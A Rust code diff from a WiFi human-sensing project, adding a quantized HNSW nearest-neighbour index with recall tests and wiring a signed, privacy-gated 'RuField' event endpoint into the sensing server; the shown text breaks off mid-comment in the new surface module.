+struct HScored {
+    /// Code-L1 distance (quantized score) — the traversal key.
+    dist: u32,
+    id: u32,
+}
+impl PartialEq for HScored {
+    fn eq(&self, other: &Self) -> bool {
+        self.dist == other.dist && self.id == other.id
+    }
+}
+impl Eq for HScored {}
+impl Ord for HScored {
+    fn cmp(&self, other: &Self) -> Ordering {
+        self.dist.cmp(&other.dist).then(self.id.cmp(&other.id))
+    }
+}
+impl PartialOrd for HScored {
+    fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
+        Some(self.cmp(other))
+    }
+}
+/// Reversed wrapper for a min-heap (smallest code-L1 at the top).
+#[derive(Debug, Clone, Copy)]
+struct MinH(HScored);
+impl PartialEq for MinH {
+    fn eq(&self, other: &Self) -> bool {
+        self.0 == other.0
+    }
+}
+impl Eq for MinH {}
+impl Ord for MinH {
+    fn cmp(&self, other: &Self) -> Ordering {
+        other.0.cmp(&self.0)
+    }
+}
+impl PartialOrd for MinH {
+    fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
+        Some(self.cmp(other))
+    }
+}
+
+/// A SymphonyQG-style HNSW: the same graph as [`HnswIndex`], traversed by a
+/// **cheap `b`-bit code-L1 score**, with a final **exact-float rerank**.
+///
+/// Built by inserting the same vectors in the same order with the same seed as
+/// a float [`HnswIndex`], so the two indices share identical graph structure and
+/// only differ in how the beam is scored. The shared [`Rotation`] (seed + dim)
+/// is the index/query frame for the `b`-bit codes. `bits ∈ {1, 2, 4}` selects
+/// the traversal-code resolution; `bits == 1` is the original 1-bit Hamming
+/// construction.
+#[derive(Debug, Clone)]
+pub struct QuantizedHnswIndex {
+    /// The underlying graph (built with the float metric for exact rerank).
+    graph: HnswIndex,
+    /// Per-node `b`-bit codes, indexed by id (parallel to graph vectors).
+    codes: Vec<Code>,
+    /// The rotation frame shared by index and query codes.
+    rotation: Rotation,
+    /// Bits per dimension of the traversal code (`1`, `2`, or `4`).
+    bits: u32,
+    /// Number of final candidates to exact-float rerank (≥ k at query time).
+    default_rerank: usize,
+}
+
+impl QuantizedHnswIndex {
+    /// Build a 1-bit quantized index (the original ADR-261 construction).
+    ///
+    /// Equivalent to [`QuantizedHnswIndex::build_bits`] with `bits = 1`; kept as
+    /// the backward-compatible entry point so existing callers and tests are
+    /// unchanged.
+    pub fn build(
+        vectors: &[Vec<f32>],
+        dim: usize,
+        metric: Metric,
+        params: HnswParams,
+        rotation_seed: u64,
+        default_rerank: usize,
+    ) -> Self {
+        Self::build_bits(vectors, dim, metric, params, rotation_seed, 1, default_rerank)
+    }
+
+    /// Build a `bits`-bit quantized index over `vectors`, mirroring a float
+    /// [`HnswIndex`] built with the same `(dim, metric, params)` and insertion
+    /// order. The `rotation_seed` fixes the code frame (index and query share it).
+    ///
+    /// `bits` is clamped to `{1, 2, 4}` (the resolutions ADR-261 §11 sweeps): any
+    /// other value is rounded up to the nearest of these so the constructor is
+    /// total. `default_rerank` is how many top-code-L1 candidates get an exact
+    /// float re-score before returning the best `k`; it is clamped to `≥ k` at
+    /// query time. A larger rerank recovers more recall at more float cost — the
+    /// knob that, alongside `ef`, sets the equal-recall operating point.
+    pub fn build_bits(
+        vectors: &[Vec<f32>],
+        dim: usize,
+        metric: Metric,
+        params: HnswParams,
+        rotation_seed: u64,
+        bits: u32,
+        default_rerank: usize,
+    ) -> Self {
+        let bits = clamp_bits(bits);
+        let rotation = Rotation::new(rotation_seed, dim);
+        let mut graph = HnswIndex::new(dim, metric, params);
+        let mut codes = Vec::with_capacity(vectors.len());
+        for v in vectors {
+            graph.insert(v);
+            codes.push(encode(v, &rotation, bits));
+        }
+        Self {
+            graph,
+            codes,
+            rotation,
+            bits,
+            default_rerank: default_rerank.max(1),
+        }
+    }
+
+    /// Number of indexed points.
+    #[inline]
+    pub fn len(&self) -> usize {
+        self.graph.len()
+    }
+
+    /// True iff empty.
+    #[inline]
+    pub fn is_empty(&self) -> bool {
+        self.graph.is_empty()
+    }
+
+    /// Borrow the underlying float graph (for shared-graph benchmark parity:
+    /// the float-HNSW baseline runs on *this* graph so the only variable is
+    /// scoring).
+    #[inline]
+    pub fn graph(&self) -> &HnswIndex {
+        &self.graph
+    }
+
+    /// The rerank width this index defaults to.
+    #[inline]
+    pub fn default_rerank(&self) -> usize {
+        self.default_rerank
+    }
+
+    /// Bits per dimension of the traversal code.
+    #[inline]
+    pub fn bits(&self) -> u32 {
+        self.bits
+    }
+
+    /// Packed memory footprint of one node's traversal code, in bytes:
+    /// `ceil(D·bits/8)` where `D = next_pow2(dim)` is the padded rotation length.
+    /// This is the per-node cost ADR-261 §11 reports for each `b`.
+    #[inline]
+    pub fn bytes_per_node(&self) -> usize {
+        packed_bytes(self.rotation.padded_dim(), self.bits)
+    }
+
+    /// SymphonyQG-style search: traverse the graph scoring candidates by the
+    /// **`b`-bit code-L1**, collect a beam of `ef`, then **exact-float rerank**
+    /// the top `rerank` (clamped ≥ k) and return the best `k` as `(id, float_dist)`.
+    ///
+    /// Degenerate cases mirror [`HnswIndex::search`]: empty ⇒ empty; `k == 0` ⇒
+    /// empty; `k > n` ⇒ all; never panics.
+    pub fn search_quantized(
+        &self,
+        query: &[f32],
+        k: usize,
+        ef: usize,
+        rerank: usize,
+    ) -> Vec<(u32, f32)> {
+        if k == 0 || self.is_empty() {
+            return Vec::new();
+        }
+        let ef = ef.max(k).max(1);
+        let rerank = rerank.max(k);
+        let q_code = encode(query, &self.rotation, self.bits);
+
+        // Entry point: the graph's entry (highest-level node).
+        let entry = match self.graph.entry_point() {
+            Some(e) => e,
+            None => return Vec::new(),
+        };
+
+        // Greedy-descend upper layers by code-L1, then beam-search layer 0.
+        let mut ep = entry;
+        let mut layer = self.graph.top_level();
+        while layer > 0 {
+            ep = self.greedy_code(&q_code, ep, layer);
+            layer -= 1;
+        }
+        let beam = self.beam_code(&q_code, ep, ef);
+
+        // Exact-float rerank of the top `rerank` code-L1 candidates.
+        let mut cand: Vec<HScored> = beam;
+        cand.sort_by_key(|c| c.dist);
+        cand.truncate(rerank);
+        let mut reranked: Vec<(u32, f32)> = cand
+            .iter()
+            .filter_map(|c| {
+                self.graph
+                    .vector(c.id)
+                    .map(|v| (c.id, self.graph.metric().distance(query, v)))
+            })
+            .collect();
+        reranked.sort_by(|a, b| a.1.partial_cmp(&b.1).unwrap_or(Ordering::Equal));
+        reranked.truncate(k);
+        reranked
+    }
+
+    /// Search using the index's default `ef` (from graph params) and rerank.
+    #[inline]
+    pub fn search_default(&self, query: &[f32], k: usize) -> Vec<(u32, f32)> {
+        self.search_quantized(query, k, self.graph.params_ef_search(), self.default_rerank)
+    }
+
+    /// Greedy single-best descent on a layer scored by code-L1.
+    fn greedy_code(&self, q_code: &Code, start: u32, layer: usize) -> u32 {
+        let mut best = start;
+        let mut best_d = self.codes[best as usize].l1(q_code);
+        loop {
+            let mut improved = false;
+            for &nbr in self.graph.neighbours(best, layer) {
+                let d = self.codes[nbr as usize].l1(q_code);
+                if d < best_d {
+                    best_d = d;
+                    best = nbr;
+                    improved = true;
+                }
+            }
+            if !improved {
+                return best;
+            }
+        }
+    }
+
+    /// Beam search on layer 0 scored by code-L1. Returns the `ef` best-code nodes
+    /// (unsorted). Iterative — bounded by the visited set + the ef beam.
+    fn beam_code(&self, q_code: &Code, ep: u32, ef: usize) -> Vec<HScored> {
+        let mut visited: HashSet<u32> = HashSet::new();
+        let mut candidates: BinaryHeap<MinH> = BinaryHeap::new();
+        let mut results: BinaryHeap<HScored> = BinaryHeap::new(); // max-heap: worst at top
+
+        let d0 = self.codes[ep as usize].l1(q_code);
+        let s0 = HScored { dist: d0, id: ep };
+        visited.insert(ep);
+        candidates.push(MinH(s0));
+        results.push(s0);
+
+        while let Some(MinH(cur)) = candidates.pop() {
+            let worst = results.peek().map(|s| s.dist).unwrap_or(u32::MAX);
+            if cur.dist > worst && results.len() >= ef {
+                break;
+            }
+            for &nbr in self.graph.neighbours(cur.id, 0) {
+                if !visited.insert(nbr) {
+                    continue;
+                }
+                let d = self.codes[nbr as usize].l1(q_code);
+                let worst = results.peek().map(|s| s.dist).unwrap_or(u32::MAX);
+                if results.len() < ef || d < worst {
+                    let s = HScored { dist: d, id: nbr };
+                    candidates.push(MinH(s));
+                    results.push(s);
+                    while results.len() > ef {
+                        results.pop();
+                    }
+                }
+            }
+        }
+        results.into_vec()
+    }
+}
+
+/// Clamp a requested bit-depth to the supported `{1, 2, 4}` set (round up to the
+/// nearest supported value; `0` → `1`, `3` → `4`, `> 4` → `4`).
+#[inline]
+fn clamp_bits(bits: u32) -> u32 {
+    match bits {
+        0 | 1 => 1,
+        2 => 2,
+        _ => 4,
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn split_mix64(state: &mut u64) -> u64 {
+        *state = state.wrapping_add(0x9E37_79B9_7F4A_7C15);
+        let mut z = *state;
+        z = (z ^ (z >> 30)).wrapping_mul(0xBF58_476D_1CE4_E5B9);
+        z = (z ^ (z >> 27)).wrapping_mul(0x94D0_49BB_1331_11EB);
+        z ^ (z >> 31)
+    }
+    fn unif01(state: &mut u64) -> f32 {
+        ((split_mix64(state) >> 40) as f32) / ((1u64 << 24) as f32)
+    }
+    fn gauss(state: &mut u64) -> f32 {
+        let u1 = unif01(state).max(1e-7);
+        let u2 = unif01(state);
+        (-2.0 * u1.ln()).sqrt() * (std::f32::consts::TAU * u2).cos()
+    }
+    fn planted(dim: usize, n: usize, clusters: usize, seed: u64) -> Vec<Vec<f32>> {
+        let centres: Vec<Vec<f32>> = (0..clusters)
+            .map(|c| {
+                let mut s = seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
+                (0..dim).map(|_| gauss(&mut s) * 3.0).collect()
+            })
+            .collect();
+        (0..n)
+            .map(|i| {
+                let c = i % clusters;
+                let mut s = seed ^ (i as u64).wrapping_mul(0x9E37);
+                (0..dim).map(|d| centres[c][d] + gauss(&mut s) * 0.35).collect()
+            })
+            .collect()
+    }
+    fn params(seed: u64) -> HnswParams {
+        HnswParams {
+            m: 16,
+            ef_construction: 200,
+            ef_search: 64,
+            seed,
+        }
+    }
+
+    #[test]
+    fn empty_quantized_search_is_empty_no_panic() {
+        let idx = QuantizedHnswIndex::build(&[], 8, Metric::Cosine, params(1), 0x42, 16);
+        assert!(idx.is_empty());
+        assert!(idx.search_quantized(&[0.0; 8], 5, 16, 16).is_empty());
+    }
+
+    #[test]
+    fn single_node_quantized_returns_itself() {
+        let v = vec![vec![1.0, 2.0, 3.0, 4.0]];
+        let idx = QuantizedHnswIndex::build(&v, 4, Metric::L2, params(2), 0x7, 8);
+        let r = idx.search_quantized(&v[0], 3, 16, 8);
+        assert_eq!(r.len(), 1);
+        assert_eq!(r[0].0, 0);
+    }
+
+    #[test]
+    fn k_zero_and_k_gt_n_no_panic() {
+        let vectors = planted(16, 40, 4, 0xABCD);
+        let idx = QuantizedHnswIndex::build(&vectors, 16, Metric::L2, params(3), 0x9, 32);
+        assert!(idx.search_quantized(&vectors[0], 0, 16, 16).is_empty());
+        let r = idx.search_quantized(&vectors[0], 1000, 64, 64);
+        assert_eq!(r.len(), 40);
+    }
+
+    #[test]
+    fn ragged_query_no_panic() {
+        let vectors = planted(16, 30, 3, 0x55);
+        let idx = QuantizedHnswIndex::build(&vectors, 16, Metric::Cosine, params(4), 0xB, 16);
+        assert!(!idx.search_quantized(&[1.0, 2.0, 3.0], 3, 16, 16).is_empty());
+        let long: Vec<f32> = (0..100).map(|i| i as f32).collect();
+        assert!(!idx.search_quantized(&long, 3, 16, 16).is_empty());
+    }
+
+    #[test]
+    fn quantized_is_deterministic() {
+        let vectors = planted(32, 300, 8, 0x2468);
+        let a = QuantizedHnswIndex::build(&vectors, 32, Metric::Cosine, params(0xFEED), 0xC0DE, 32);
+        let b = QuantizedHnswIndex::build(&vectors, 32, Metric::Cosine, params(0xFEED), 0xC0DE, 32);
+        let q = &vectors[100];
+        assert_eq!(
+            a.search_quantized(q, 10, 64, 32),
+            b.search_quantized(q, 10, 64, 32),
+            "quantized search must be deterministic"
+        );
+    }
+
+    /// Recall@10 of quantized-HNSW vs brute-force ground truth, averaged over
+    /// queries. With an exact-float rerank, recall should be high (the rerank
+    /// repairs most of the 1-bit traversal's coarseness). This is the quantized
+    /// variant's correctness gate.
+    #[test]
+    fn quantized_recall_at_10_is_high_with_rerank() {
+        let dim = 64;
+        let n = 2000;
+        let clusters = 32;
+        let seed = 0x9999;
+        let vectors = planted(dim, n, clusters, seed);
+        // Generous rerank so the exact float repairs the coarse Hamming beam.
+        let idx = QuantizedHnswIndex::build(&vectors, dim, Metric::L2, params(0xAAAA), 0x5EED, 64);
+
+        let mut total = 0.0f64;
+        let n_queries = 64;
+        for q in 0..n_queries {
+            let c = q % clusters;
+            let mut cs = seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
+            let centre: Vec<f32> = (0..dim).map(|_| gauss(&mut cs) * 3.0).collect();
+            let mut s = seed ^ 0xDEAD_0000 ^ (q as u64).wrapping_mul(0x2545_F491);
+            let qv: Vec<f32> = (0..dim).map(|d| centre[d] + gauss(&mut s) * 0.35).collect();
+            let truth: HashSet<u32> = idx
+                .graph()
+                .brute_force(&qv, 10)
+                .into_iter()
+                .map(|(id, _)| id)
+                .collect();
+            let got = idx.search_quantized(&qv, 10, 128, 64);
+            let hit = got.iter().filter(|(id, _)| truth.contains(id)).count();
+            total += hit as f64 / 10.0;
+        }
+        let recall = total / n_queries as f64;
+        // The 1-bit code is coarse, so we do not demand the float 0.95 gate here;
+        // but with a 64-wide rerank over an ef=128 beam it must be clearly useful
+        // (well above random). ADR-261 reports the exact number; this gate just
+        // catches a broken traversal/rerank.
+        assert!(
+            recall >= 0.80,
+            "quantized recall@10 = {recall:.4} too low — traversal or rerank bug"
+        );
+    }
+
+    #[test]
+    fn zero_dim_no_panic() {
+        let vectors = vec![vec![], vec![]];
+        let idx = QuantizedHnswIndex::build(&vectors, 0, Metric::Cosine, params(5), 0x1, 4);
+        let r = idx.search_quantized(&[], 2, 16, 4);
+        assert_eq!(r.len(), 2);
+    }
+
+    // ----- multi-bit (ADR-261 §11) -----
+
+    /// `bits == 1` via `build_bits` is byte-for-byte the legacy `build` 1-bit
+    /// construction: same codes, same search output. Backward-compatibility pin.
+    #[test]
+    fn one_bit_build_bits_matches_legacy_build() {
+        let vectors = planted(32, 400, 8, 0x1B17);
+        let legacy = QuantizedHnswIndex::build(&vectors, 32, Metric::L2, params(0x5151), 0xC0DE, 40);
+        let viabits =
+            QuantizedHnswIndex::build_bits(&vectors, 32, Metric::L2, params(0x5151), 0xC0DE, 1, 40);
+        assert_eq!(legacy.bits(), 1);
+        assert_eq!(viabits.bits(), 1);
+        let q = &vectors[123];
+        assert_eq!(
+            legacy.search_quantized(q, 10, 64, 40),
+            viabits.search_quantized(q, 10, 64, 40),
+            "build_bits(…,1,…) must equal legacy build(…)"
+        );
+    }
+
+    /// Unsupported bit-depths round up to the supported `{1,2,4}` set so the
+    /// constructor is total (no panic, predictable resolution).
+    #[test]
+    fn bits_are_clamped_to_supported_set() {
+        let vectors = planted(16, 50, 4, 0xB175);
+        for (req, exp) in [(0u32, 1u32), (1, 1), (2, 2), (3, 4), (4, 4), (7, 4)] {
+            let idx = QuantizedHnswIndex::build_bits(
+                &vectors,
+                16,
+                Metric::L2,
+                params(0x9),
+                0xB,
+                req,
+                16,
+            );
+            assert_eq!(idx.bits(), exp, "bits {req} should clamp to {exp}");
+            // and it must still search without panic
+            assert!(!idx.search_quantized(&vectors[0], 5, 32, 20).is_empty());
+        }
+    }
+
+    /// Bytes/node scales linearly with `bits`: for a power-of-two dim `D`,
+    /// 1-bit → D/8, 2-bit → D/4, 4-bit → D/2.
+    #[test]
+    fn bytes_per_node_scales_with_bits() {
+        let vectors = planted(128, 20, 4, 0xBEEF);
+        let b1 = QuantizedHnswIndex::build_bits(&vectors, 128, Metric::L2, params(1), 0x5, 1, 16);
+        let b2 = QuantizedHnswIndex::build_bits(&vectors, 128, Metric::L2, params(1), 0x5, 2, 16);
+        let b4 = QuantizedHnswIndex::build_bits(&vectors, 128, Metric::L2, params(1), 0x5, 4, 16);
+        assert_eq!(b1.bytes_per_node(), 16, "128-d 1-bit = 16 B/node");
+        assert_eq!(b2.bytes_per_node(), 32, "128-d 2-bit = 32 B/node");
+        assert_eq!(b4.bytes_per_node(), 64, "128-d 4-bit = 64 B/node");
+    }
+
+    /// More bits must not *reduce* recall at a fixed (ef, rerank): the multi-bit
+    /// code is a strictly finer angle proxy than 1-bit, so the traversal beam can
+    /// only land on equal-or-better candidates for the rerank to repair. This is
+    /// the core ADR-261 §11 hypothesis (multi-bit keeps the beam on-path better),
+    /// pinned as a regression gate. We assert a small tolerance for ties.
+    #[test]
+    fn more_bits_does_not_reduce_recall() {
+        let dim = 64;
+        let n = 3000;
+        let clusters = 32;
+        let seed = 0x7A11;
+        let vectors = planted(dim, n, clusters, seed);
+        let recall_for = |bits: u32| -> f64 {
+            let idx = QuantizedHnswIndex::build_bits(
+                &vectors,
+                dim,
+                Metric::L2,
+                params(0xA11A),
+                0x5EED,
+                bits,
+                // Modest rerank so traversal quality — not a huge rerank pool —
+                // is what drives the recall difference between bit depths.
+                20,
+            );
+            let mut total = 0.0f64;
+            let n_queries = 64;
+            for q in 0..n_queries {
+                let c = q % clusters;
+                let mut cs = seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
+                let centre: Vec<f32> = (0..dim).map(|_| gauss(&mut cs) * 3.0).collect();
+                let mut s = seed ^ 0xDEAD_0000 ^ (q as u64).wrapping_mul(0x2545_F491);
+                let qv: Vec<f32> = (0..dim).map(|d| centre[d] + gauss(&mut s) * 0.35).collect();
+                let truth: HashSet<u32> = idx
+                    .graph()
+                    .brute_force(&qv, 10)
+                    .into_iter()
+                    .map(|(id, _)| id)
+                    .collect();
+                let got = idx.search_quantized(&qv, 10, 64, 20);
+                let hit = got.iter().filter(|(id, _)| truth.contains(id)).count();
+                total += hit as f64 / 10.0;
+            }
+            total / n_queries as f64
+        };
+        let r1 = recall_for(1);
+        let r2 = recall_for(2);
+        let r4 = recall_for(4);
+        // 2-bit and 4-bit must be at least as good as 1-bit (small tie tolerance).
+        assert!(
+            r2 + 0.02 >= r1,
+            "2-bit recall {r2:.4} regressed vs 1-bit {r1:.4}"
+        );
+        assert!(
+            r4 + 0.02 >= r1,
+            "4-bit recall {r4:.4} regressed vs 1-bit {r1:.4}"
+        );
+    }
+}

v2/crates/wifi-densepose-ruvector/src/lib.rs

@@ -28,9 +28,12 @@
 
 #[cfg(feature = "crv")]
 pub mod crv;
+pub mod ann_measure;
 pub mod coverage;
 pub mod estimator;
 pub mod event_log;
+pub mod hnsw;
+pub mod hnsw_quantized;
 pub mod mat;
 pub mod rotation;
 pub mod signal;
@@ -41,6 +44,8 @@ pub use estimator::{
     DistanceEstimator, EstimatorBank, EstimatorQuery, EstimatorSketch, SideInfo,
 };
 pub use event_log::{NoveltyEvent, PrivacyEventLog};
+pub use hnsw::{HnswIndex, HnswParams, Metric};
+pub use hnsw_quantized::QuantizedHnswIndex;
 pub use rotation::Rotation;
 pub use sketch::{
     Sketch, SketchBank, SketchError, WireSketch, WireSketchError, WIRE_SKETCH_FORMAT_VERSION,

v2/crates/wifi-densepose-sensing-server/Cargo.toml

@@ -63,6 +63,13 @@ wifi-densepose-worldgraph = { version = "0.3.0", path = "../wifi-densepose-world
 wifi-densepose-bfld = { version = "0.3.1", path = "../wifi-densepose-bfld", default-features = false }
 wifi-densepose-geo = { version = "0.1.0", path = "../wifi-densepose-geo" }
 
+# ADR-262 P3: live RuField surface. The thin anti-corruption bridge that turns
+# this server's governed sensing cycle into signed RuField `FieldEvent`s on
+# `/api/field` + `/ws/field`. It path-deps the standalone `vendor/rufield`
+# submodule (it is the single coupling point — ADR-262 §5.4) and pulls in no
+# RuView internal crate, so the dep surface added here is just the bridge.
+wifi-densepose-rufield = { version = "0.3.0", path = "../wifi-densepose-rufield" }
+
 # midstream — real-time introspection / low-latency tap (ADR-099 D1).
 # Two crates only, on purpose: scheduler / neural-solver / strange-loop are
 # explicitly out of scope of ADR-099 (D5).

v2/crates/wifi-densepose-sensing-server/src/lib.rs

@@ -23,6 +23,10 @@ pub mod model_format;
 pub mod mqtt;
 pub mod path_safety;
 pub mod semantic;
+/// ADR-262 P3: the live RuField surface — turns the governed sensing cycle into
+/// signed RuField `FieldEvent`s on the additive `/api/field` + `/ws/field`
+/// endpoints, via the `wifi-densepose-rufield` anti-corruption bridge.
+pub mod rufield_surface;
 pub mod rvf_container;
 pub mod rvf_pipeline;
 pub mod sona;

v2/crates/wifi-densepose-sensing-server/src/main.rs

@@ -26,7 +26,7 @@ mod vital_signs;
 
 // Training pipeline modules (exposed via lib.rs)
 use wifi_densepose_sensing_server::{
-    dataset, embedding, error_response, graph_transformer, trainer,
+    dataset, embedding, error_response, graph_transformer, rufield_surface, trainer,
 };
 
 use ruvector_mincut::{DynamicMinCut, MinCutBuilder};
@@ -1093,6 +1093,14 @@ struct AppStateInner {
     pub(crate) dedup_factor: f64,
     /// Data directory for persisting runtime config (parent of `firmware_dir`).
     pub(crate) data_dir: std::path::PathBuf,
+    /// ADR-262 P3: the live RuField surface. Holds the dedicated ed25519 signer
+    /// + a bounded ring of recent signed `FieldEvent`s + the `/ws/field`
+    /// broadcast topic. The governed sensing cycle calls `emit()` on it once per
+    /// cycle (joining `SensingUpdate` features/classification/signal_field with
+    /// the `TrustedOutput` trust class); `/api/field` + `/ws/field` read it.
+    /// Held behind its own `Arc<RwLock<_>>` so the additive field router can
+    /// take it as state without re-locking `AppStateInner`.
+    field_surface: rufield_surface::FieldState,
 }
 
 /// If no ESP32 frame arrives within this duration, source reverts to offline.
@@ -4000,6 +4008,80 @@ fn derive_single_person_pose(
 /// the strongest peak so they remain co-located with real energy rather than at
 /// a fake origin; if the field has no peak above threshold the position stays at
 /// `[0,0,0]` and `motion_score` still reflects real motion power.
+/// ADR-262 P3: emit one signed RuField `FieldEvent` for this sensing cycle.
+///
+/// Joins the cycle's [`SensingUpdate`] (features / classification /
+/// signal_field) with the governed engine's trust state (`effective_class` /
+/// `demoted`, recorded on `engine_bridge` by `observe_cycle`) into a
+/// `SensingSnapshot`, then surfaces it via the P1 bridge on `/api/field` +
+/// `/ws/field`. The bridge maps privacy by information content and the surface
+/// applies the §10 network egress gate, so above-policy cycles never reach the
+/// wire.
+///
+/// **No phantom events:** an empty/no-presence cycle (`presence == false`)
+/// emits nothing — there is no person to describe, so no event is fabricated
+/// (ADR-262 §4 P3 / §6). Cycles before the governed engine has produced a trust
+/// class are likewise skipped (no class ⇒ nothing honest to stamp).
+///
+/// `identity_bound` is `false` on the live path: RuView's live cycle does not
+/// bind an enrolled identity to the surface yet (that is a per-room-calibration
+/// / AETHER concern, ADR-262 §8 Q4). This is conservative for egress — it only
+/// ever *lowers* a Derived cycle from P5 to P4, both of which are already held
+/// edge-local, so it cannot leak.
+fn emit_rufield_event(s: &AppStateInner, update: &SensingUpdate, node_id: u8) {
+    // No-presence ⇒ no phantom event.
+    if !update.classification.presence {
+        return;
+    }
+    // Need a governed trust class before we can honestly stamp privacy.
+    let Some(effective_class) = s.engine_bridge.effective_class() else {
+        return;
+    };
+
+    let timestamp_ns = if update.timestamp.is_finite() && update.timestamp > 0.0 {
+        (update.timestamp * 1_000_000_000.0) as u64
+    } else {
+        std::time::SystemTime::now()
+            .duration_since(std::time::UNIX_EPOCH)
+            .map(|d| d.as_nanos() as u64)
+            .unwrap_or(0)
+    };
+
+    let snap = rufield_surface::build_snapshot(
+        timestamp_ns,
+        format!("esp32_node_{node_id}"),
+        rufield_surface::SensingFeatures {
+            mean_rssi: update.features.mean_rssi,
+            variance: update.features.variance,
+            motion_band_power: update.features.motion_band_power,
+            breathing_band_power: update.features.breathing_band_power,
+            dominant_freq_hz: update.features.dominant_freq_hz,
+            change_points: update.features.change_points,
+            spectral_power: update.features.spectral_power,
+        },
+        rufield_surface::SensingClass {
+            motion_level: update.classification.motion_level.clone(),
+            presence: update.classification.presence,
+            confidence: update.classification.confidence,
+        },
+        Some(rufield_surface::SignalField {
+            grid_size: update.signal_field.grid_size,
+            values: update.signal_field.values.clone(),
+        }),
+        rufield_surface::ruview_class_from_bfld(effective_class),
+        s.engine_bridge.demoted(),
+        false, // identity_bound — see fn-doc (conservative, cannot leak).
+    );
+
+    // `field_surface` is its own Arc<RwLock<_>>; `try_write` is non-blocking and
+    // never deadlocks against the `s` guard (a different lock). The only other
+    // touchers are the read-only `/api/field` / `/ws/field` handlers, so
+    // contention is negligible; a rare miss just drops one cycle's event.
+    if let Ok(mut fs) = s.field_surface.try_write() {
+        fs.emit(&snap);
+    }
+}
+
 fn attach_field_positions(update: &mut SensingUpdate) {
     let Some(persons) = update.persons.as_mut() else {
         return;
@@ -5990,6 +6072,18 @@ async fn udp_receiver_task(state: SharedState, udp_port: u16) {
                     if let Ok(json) = serde_json::to_string(&update) {
                         let _ = s.tx.send(json);
                     }
+
+                    // ── ADR-262 P3: emit a signed RuField FieldEvent ────────
+                    // Join this cycle's SensingUpdate (features / classification
+                    // / signal_field) with the governed engine's trust state
+                    // (effective_class / demoted, recorded by `observe_cycle`
+                    // above) into a `SensingSnapshot`, and surface it on
+                    // `/api/field` + `/ws/field` via the P1 bridge. Only cycles
+                    // whose mapped privacy class clears the §10 network egress
+                    // gate are surfaced (P1/P2); a `Derived → P4/P5` cycle is
+                    // held edge-local. `presence == false` ⇒ no phantom event.
+                    emit_rufield_event(&s, &update, node_id);
+
                     s.latest_update = Some(update);
 
                     // Evict stale nodes every 100 ticks to prevent memory leak.
@@ -7322,6 +7416,13 @@ async fn main() {
         );
     }
 
+    // ADR-262 P3: build the live RuField surface (dedicated ed25519 signer from
+    // WDP_RUFIELD_SIGNING_SEED, else a logged dev default). The same Arc is
+    // stored in AppStateInner (so the sensing loop can `emit()` per cycle) and
+    // cloned into the additive `/api/field` + `/ws/field` router below.
+    let field_surface: rufield_surface::FieldState =
+        Arc::new(RwLock::new(rufield_surface::FieldSurface::from_env()));
+
     let state: SharedState = Arc::new(RwLock::new(AppStateInner {
         latest_update: None,
         rssi_history: VecDeque::new(),
@@ -7424,6 +7525,7 @@ async fn main() {
         // ADR-044 §5.3: runtime-configurable dedup factor (persisted).
         dedup_factor: runtime_config.dedup_factor,
         data_dir: data_dir.clone(),
+        field_surface: field_surface.clone(),
     }));
 
     // Start background tasks from the resolved plan (issue #1004).
@@ -7497,11 +7599,15 @@ async fn main() {
     let ws_app = Router::new()
         .route("/ws/sensing", get(ws_sensing_handler))
         .route("/health", get(health))
+        .with_state(ws_state)
+        // ADR-262 P3: additive `/ws/field` (+ `/api/field`) on the WS port too,
+        // so a client on :8765 can stream signed RuField FieldEvents alongside
+        // `/ws/sensing`. Merged with its own FieldState (different state type).
+        .merge(rufield_surface::router(field_surface.clone()))
         .layer(axum::middleware::from_fn_with_state(
             host_allowlist.clone(),
             wifi_densepose_sensing_server::host_validation::require_allowed_host,
-        ))
-        .with_state(ws_state);
+        ));
 
     let ws_addr = SocketAddr::from((bind_ip, args.ws_port));
     let ws_listener = tokio::net::TcpListener::bind(ws_addr)
@@ -7615,15 +7721,24 @@ async fn main() {
             bearer_auth_state.clone(),
             wifi_densepose_sensing_server::bearer_auth::require_bearer,
         ))
+        .with_state(state.clone())
+        // ADR-262 P3: additive RuField surface (`/api/field` + `/ws/field`).
+        // Merged AFTER `.with_state` (so http_app is already `Router<()>` and
+        // can absorb the field router's own `FieldState`). These routes sit
+        // OUTSIDE `/api/v1/*` so they are not bearer-gated, but the
+        // host-validation layer below still applies (it is added last, so it
+        // runs first, over the whole merged router). The surface's own §10
+        // egress gate is what keeps above-policy classes off the wire.
+        .merge(rufield_surface::router(field_surface.clone()))
         // DNS-rebinding defense: applied last so it runs first on the request
         // path (axum layers run outermost-in). Rejects requests whose `Host`
         // header is not in the allowlist before any handler — including
-        // `/health` and `/ws/*` — observes the body.
+        // `/health`, `/ws/*`, and the merged `/api/field` + `/ws/field` —
+        // observes the body.
         .layer(axum::middleware::from_fn_with_state(
             host_allowlist.clone(),
             wifi_densepose_sensing_server::host_validation::require_allowed_host,
-        ))
-        .with_state(state.clone());
+        ));
 
     let http_addr = SocketAddr::from((bind_ip, args.http_port));
     let http_listener = tokio::net::TcpListener::bind(http_addr)

v2/crates/wifi-densepose-sensing-server/src/rufield_surface.rs

@@ -0,0 +1,439 @@
+//! ADR-262 **P3** — the live RuField surface.
+//!
+//! This is the data-path wiring that turns RuView's governed sensing cycle into
+//! signed RuField [`FieldEvent`]s on two **additive** network endpoints:
+//!
+//! - `GET /api/field`  — the most recent surfaced `FieldEvent`(s) as JSON;
+//! - `GET /ws/field`   — a WebSocket that streams each cycle's `FieldEvent`
+//!   (mirrors the `/ws/sensing` broadcast-subscribe pattern).
+//!
+//! It is purely additive: `/ws/sensing` and every existing endpoint are
+//! unchanged. The conversion itself lives entirely in the P1
+//! [`wifi_densepose_rufield`] anti-corruption bridge (ADR-262 §5.4 — the single
+//! coupling point); this module only (a) holds the dedicated signer + a bounded
+//! ring buffer of recent events in server state, (b) builds a
+//! [`SensingSnapshot`] from the **same real data** the cycle already produced
+//! (`SensingUpdate` features/classification/signal_field joined with the
+//! governed-engine [`TrustedOutput`] trust state at `main.rs:~5886`/`:~5938`),
+//! and (c) applies the §10 network egress gate so above-policy classes never
+//! reach the wire.
+//!
+//! ## Honesty (ADR-262 §0 / §6)
+//!
+//! This wires **real** RuView sensing into RuField events on a live endpoint,
+//! but: (a) it is the **single-link CSI** sensing with its existing caveats —
+//! there is **no validated room-coordinate accuracy** (`field_localize` says so;
